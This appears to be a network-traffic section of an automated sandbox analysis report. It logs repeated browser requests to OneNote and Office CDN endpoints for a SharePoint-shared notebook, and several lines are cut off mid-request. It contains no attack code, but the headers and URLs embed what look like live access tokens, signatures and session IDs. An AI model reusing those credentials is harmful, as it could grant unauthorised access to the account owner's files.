/o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: SN3PEPF000091BAX-OfficeVersion: 16.0.17601.41008X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153fOrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcomsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: PUS6Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: SN3PEPF000091BAX-OfficeVersion: 16.0.17601.41008X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153fOrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcomsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: PUS6Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: SN3PEPF000091BAX-OfficeVersion: 16.0.17601.41008X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153fOrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcomsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: PUS6Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: SN3PEPF000091BAX-OfficeVersion: 16.0.17601.41008X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153fOrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcomsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: PUS6Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2
Source: global traffic	HTTP traffic detected: GET /afhs/CloudPolicySettings.ashx HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: SN3PEPF000091BAX-OfficeVersion: 16.0.17601.41008X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624X-WacUserAgent: MSWACONSyncx-OcpsIsEnabled: trueX-Requested-With: XMLHttpRequestX-xhr: 1x-CacheIsEnabled: falsex-LicensingAADIdIsEnabled: falsesec-ch-ua-platform: "Windows"haep: 3X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBgX-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153fX-AccessTokenTtl: 1714154349045sec-ch-ua-mobile: ?0x-UserDataSignature: eyJhbGciOiJSUzI1NiIsImtpZCI6IjdFNEUzOEQ5QjM4RkExRDgxQTMzOEJBNTQxNzNFM0Y5OTE2OEREQzQiLCJ4NXQiOiJmazQ0MmJPUG9kZ2FNNHVsUVhQai1aRm8zY1EiLCJ0eXAiOiJKV1QifQ.eyJVUE4iOiJ1cm46c3BvOmFub24jZTNlNDIyM2I1ZTJjM2EzODY3ZGE1YTc2NWNiMjRkNDViOTlmOWYxOWVlZWI1M2VhMDhlODM0ZDc4NmJlMGIzZCIsIlBVSUQiOiIiLCJUZW5hbnRJZCI6IjlmNWFlNWUwLWY0NjgtNDRjMi04YmFhLWU2ZTdiYzM2YzcxMCIsIkZpbGVUZW5hbnRJZCI6IiIsIklzQ29uc3VtZXJVc2VyIjoiRmFsc2UiLCJJc0Fub255bW91c1VzZXIiOiJUcnVlIiwiSG9zdEVuYWJsZWRGZWF0dXJlcyI6IltdIiwiSXNPMzY1Q29uc3VtZXJIb3N0IjoiRmFsc2UiLCJJc08zNjVDb21tZXJjaWFsSG9zdCI6IlRydWUiLCJVc2VyT2JqZWN0SWQiOiIiLCJMb2NhbFN0b3JhZ2VLZXkiOiI5M0FLZHlZYzd6YnNOQ1BKajJza2VBTEx4SlVaU0ZSSXJUUnBSTWFMRzMwPSIsImF1ZCI6IldBQ0FGSFMiLCJuYmYiOjE3MTQxMTgzNTEsImV4cCI6MTcxNDExOTY3MSwiaWF0IjoxNzE0MTE4MzUxLCJpc3MiOiJXQUMifQ.p4jmKCoeMNJjjXbI1cD4OVWDb2GgdalisqrBXA6RrYPTQBTb_oKbaky8tRt9ftRveCCV2Gd4H9jTqVhXl_26-JaqUXbi4LrnCk5YfM68SQZ7ma6GdSPLbEhK4kTIDnbv9rNIEenulJtTWPdDTPRkda5VMlKiDo
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.handlers.27d51fd227a601990590.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usigroups-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: 